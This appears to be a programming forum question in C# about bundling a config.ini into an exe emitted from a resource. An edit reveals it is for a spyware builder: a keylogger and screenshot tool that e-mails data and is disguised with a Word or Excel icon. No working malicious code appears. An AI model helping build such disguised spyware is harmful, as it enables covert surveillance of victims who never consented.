I have 2 apps and one config.ini file.
- Manager Project
- Main Project
Main Project is compiled and added to Manager Project (as resource). Also Main Project is getting settings from config.ini file.
From Manager Project i can save MainProject in that way:
File.WriteAllBytes("MainProject.exe", ManagerProject.Properties.Resources.MainProject); //get MainProject exe an save it
Then i can write config.ini for MainProject.exe:
StreamWriter sw = new StreamWriter("config.ini");
sw.WriteLine("1"); //whatever
sw.Close();
But i want to join this two files (config.ini and MainProject.exe) into one exe file. User can't see that config.ini.
I was thinking about add config.ini as resource file, but it's possible to do that, when project is already compiled?
How can i do it?
//Edit
I have program that's spying (make screenshoots, logs keyboard into file etc.). In my ManagerProject i have options like install monitoring, uninstall and configure.
I want to do "Create Standlone Monitor with my configuration". This option should create .exe with specified settings (frequency of making screenshoots, e-mail data etc) and for example with word or excel icon. And this standlone exe with custom configuration should just install monitoring after click.
But i have problem with merge exe and config.ini into one file...
Any ideas how i can solve this problem?